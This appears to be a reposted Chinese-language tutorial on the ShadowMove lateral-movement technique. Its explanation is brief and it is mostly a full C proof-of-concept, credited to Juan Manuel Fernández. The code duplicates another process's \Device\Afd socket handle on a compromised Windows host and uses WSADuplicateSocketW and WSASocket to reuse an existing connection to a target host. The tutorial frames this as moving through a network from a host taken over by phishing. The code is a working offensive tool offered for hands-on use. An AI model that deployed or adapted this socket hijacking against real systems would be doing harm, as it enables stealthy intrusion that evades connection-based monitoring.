您好,登錄后才能下訂單哦!
本篇內容主要講解“如何理解ShadowMove橫向滲透新手段:通過復制現有Socket實現橫向滲透”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“如何理解ShadowMove橫向滲透新手段:通過復制現有Socket實現橫向滲透”吧!
下圖顯示的是這項技術工作機制的簡單流程圖,以及我們如何在自己的實驗環境中進行測試。在下圖中,我們使用了ShadowMove技術在源主機和目標主機之間進行通信:
我跟大家解釋一下上面這張圖的具體情況:
在上圖的左邊部分,我們有一臺被入侵的主機(比如說,我們通過釣魚攻擊入侵了這臺主機),IP地址為168.1.117。這臺主機就是我們需要開始橫向滲透的源主機,我們需要利用它來攻擊IP地址為192.168.56.102的主機。
在右邊部分,是我們的目標主機,IP地址為168.56.102,這臺主機在TCP端口80有一個正在監聽的Socket,運行命令為“nc -lvp 80”。
源主機168.1.117已經與我們的目標主機192.168.56.102:80通過nc.exe建立了連接。
在源主機上,有一個名為exe的正在運行的進程。這個進程將負責執行ShadowMove橫向滲透操作。需要注意的是,它在整個生命周期中并不會跟遠程主機建立任何連接,這也是這項技術的獨特魅力所在。
在源主機上,exe會枚舉所有跟nc.exe和\Device\Afd相關的處理程序,并用于網絡Socket通信。找到之后,該進程將使用這些處理程序并調用WSADuplicateSocketW和WSASocket這兩個API來復制Socket。創建好共享Socket之后,進程將會使用getpeername來判斷Socket的目標地址是否為目標主機的IP地址,即192.168.56.102。
當基于\Device\Afd的指向目標主機的共享Socket創建之后,exe將能夠使用send API向Socket中寫入數據,或使用recv API來從中讀取數據。
再次強調一點,ShadowMove.exe并不會創建任何指向目標主機的TCP鏈接。相反,它會直接復用源主機和目標主機之間(192.168.56.102:80)的現有的Socket,這也是該橫向滲透技術的關鍵之處。
下面給出的是由安全專家Juan Manuel Fernández提供的PoC代碼,為了在Visual Studio 2019的開發環境中完成代碼編譯,本人對其進行了部分修改:
// PoC of ShadowMove Gateway by Juan Manuel Fernández (@TheXC3LL) #define _WINSOCK_DEPRECATED_NO_WARNINGS #include <winsock2.h> #include <Windows.h> #include <stdio.h> #pragma comment(lib,"WS2_32") // Most of the code is adapted from https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004 #define SystemHandleInformation 16 #define ObjectNameInformation 1 typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); typedef NTSTATUS(NTAPI* _NtDuplicateObject)( HANDLE SourceProcessHandle, HANDLE SourceHandle, HANDLE TargetProcessHandle, PHANDLE TargetHandle, ACCESS_MASK DesiredAccess, ULONG Attributes, ULONG Options ); typedef NTSTATUS(NTAPI* _NtQueryObject)( HANDLE ObjectHandle, ULONG ObjectInformationClass, PVOID ObjectInformation, ULONG ObjectInformationLength, PULONG ReturnLength ); typedef struct _SYSTEM_HANDLE { ULONG ProcessId; BYTE ObjectTypeNumber; BYTE Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG HandleCount; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; typedef enum _POOL_TYPE { NonPagedPool, PagedPool, NonPagedPoolMustSucceed, DontUseThisType, NonPagedPoolCacheAligned, PagedPoolCacheAligned, NonPagedPoolCacheAlignedMustS } POOL_TYPE, * PPOOL_TYPE; typedef struct _OBJECT_NAME_INFORMATION { UNICODE_STRING Name; } OBJECT_NAME_INFORMATION, * POBJECT_NAME_INFORMATION; PVOID GetLibraryProcAddress(const char *LibraryName, const char *ProcName) { return GetProcAddress(GetModuleHandleA(LibraryName), ProcName); } SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) { HANDLE hProc; PSYSTEM_HANDLE_INFORMATION handleInfo; DWORD handleInfoSize = 0x10000; NTSTATUS status; DWORD returnLength; WSAPROTOCOL_INFOW wsaProtocolInfo = { 0 }; SOCKET targetSocket; // Open target process with PROCESS_DUP_HANDLE rights hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId); if (!hProc) { printf("[!] Error: could not open the process!\n"); exit(-1); } printf("[+] Handle to process obtained!\n"); // Find the functions _NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation"); _NtDuplicateObject NtDuplicateObject = (_NtDuplicateObject)GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject"); _NtQueryObject NtQueryObject = (_NtQueryObject)GetLibraryProcAddress("ntdll.dll", "NtQueryObject"); // Retrieve handles from the target process handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); printf("[+] Found [%d] handles in PID %d\n============================\n", handleInfo->HandleCount, dwProcessId); // Iterate for (DWORD i = 0; i < handleInfo->HandleCount; i++) { // Check if it is the desired type of handle if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) { SYSTEM_HANDLE handle = handleInfo->Handles[i]; HANDLE dupHandle = NULL; POBJECT_NAME_INFORMATION objectNameInfo; // Duplicate handle NtDuplicateObject(hProc, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, PROCESS_ALL_ACCESS, FALSE, DUPLICATE_SAME_ACCESS); objectNameInfo = (POBJECT_NAME_INFORMATION)malloc(0x1000); // Get handle info NtQueryObject(dupHandle, ObjectNameInformation, objectNameInfo, 0x1000, &returnLength); // Narow the search checking if the name length is correct (len(\Device\Afd) == 11 * 2) if (objectNameInfo->Name.Length == 22) { printf("[-] Testing %d of %d\n", i, handleInfo->HandleCount); // Check if it ends in "Afd" LPWSTR needle = (LPWSTR)malloc(8); memcpy(needle, objectNameInfo->Name.Buffer + 8, 6); if (needle[0] == 'A' && needle[1] == 'f' && needle[2] == 'd') { // We got a candidate printf("\t[*] \\Device\\Afd found at %d!\n", i); // Try to duplicate the socket status = WSADuplicateSocketW((SOCKET)dupHandle, GetCurrentProcessId(), &wsaProtocolInfo); if (status != 0) { printf("\t\t[X] Error duplicating socket!\n"); free(needle); free(objectNameInfo); CloseHandle(dupHandle); continue; } // We got it? targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, &wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); if (targetSocket != INVALID_SOCKET) { struct sockaddr_in sockaddr; DWORD len; len = sizeof(SOCKADDR_IN); // It this the socket? if (getpeername(targetSocket, (SOCKADDR*)&sockaddr, (int*)&len) == 0) { if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) { printf("\t[*] Duplicated socket (%s)\n", inet_ntoa(sockaddr.sin_addr)); free(needle); free(objectNameInfo); return targetSocket; } } } free(needle); } } free(objectNameInfo); } } return 0; } int main(int argc, char** argv) { WORD wVersionRequested; WSADATA wsaData; DWORD dwProcessId; LPSTR dstIP = NULL; SOCKET targetSocket; char buff[255] = { 0 }; printf("\t\t\t-=[ ShadowMove Gateway PoC ]=-\n\n"); // smgateway.exe [PID] [IP dst] /* It's just a PoC, we do not validate the args. But at least check if number of args is right X) */ if (argc != 3) { printf("[!] Error: syntax is %s [PID] [IP dst]\n", argv[0]); exit(-1); } dwProcessId = strtoul(argv[1], NULL, 10); dstIP = (LPSTR)malloc(strlen(argv[2]) * (char)+1); memcpy(dstIP, argv[2], strlen(dstIP)); // Classic wVersionRequested = MAKEWORD(2, 2); WSAStartup(wVersionRequested, &wsaData); targetSocket = findTargetSocket(dwProcessId, dstIP); send(targetSocket, "hello from shadowmove and reused socket!\n", strlen("hello from shadowmove and reused socket!\n"), 0); recv(targetSocket, buff, 255, 0); printf("\n[*] Message from target to shadowmove:\n\n %s\n", buff); return 0; }
編譯好上述代碼之后,我們就可以進行測試了。在下面的演示樣例中,我們演示了ShadowMove橫向滲透技術的實踐場景:
到此,相信大家對“如何理解ShadowMove橫向滲透新手段:通過復制現有Socket實現橫向滲透”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。